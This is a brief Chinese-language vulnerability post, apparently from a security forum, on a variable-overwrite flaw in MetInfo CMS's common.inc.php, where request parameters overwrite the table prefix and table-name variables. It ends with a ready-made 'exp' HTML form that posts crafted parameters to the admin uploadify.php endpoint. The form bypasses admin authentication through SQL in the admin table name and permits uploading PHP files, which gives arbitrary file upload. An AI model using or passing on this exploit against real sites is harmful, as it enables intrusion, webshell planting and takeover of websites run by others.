ps:欢迎各种形式转载,首发t00ls.net

废话不多说,看代码:

01include\common.inc.php 20 - 39

02

03$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');

04@extract($db_settings);

05require_once ROOTPATH.'include/mysql_class.php';

06$db = new dbmysql();

07$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);

08define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

09isset($_REQUEST['GLOBALS']) && exit('Access Error');

10require_once ROOTPATH.'include/global.func.php';

11foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

12        foreach($$_request as $_key => $_value) {

13                $_key{0} != '_' && $$_key = daddslashes($_value);

14        }

15}

16$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";

17$mettable=$db->get_one($query);

18$mettables=explode('|',$mettable[value]);

19foreach($mettables as $key=>$val){

20        $tablename='met_'.$val;       

21        $$tablename=$tablepre.$val;

22}

metinfo系统通过查询数据库的{$tablepre}config表,并将获取的结果通过foreach循环初始化表名变量,其中的

是通过代码

1$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');

2@extract($db_settings);

来初始化的,然后在系统中使用这样"SELECT * FROM $met_message where id=$id and lang='$lang'"的SQL查询数据库,

其中的$met_message变量就是前面foreach循环初始化的变量……

我们可以覆盖$tablepre变量使表名初始化失败,进而提交表名变量.....

我找了个后台的上传页面,通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表,构造上传漏洞。

exp:

1任意文件上传

2<form  enctype="multipart/form-data" method="POST" name="myform" action="http:/ /www.2cto.com /metinfo/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp">

3<input name="Filedata" type='file' size="20"  >

4<input type="submit" name="Submit" value="提交信息">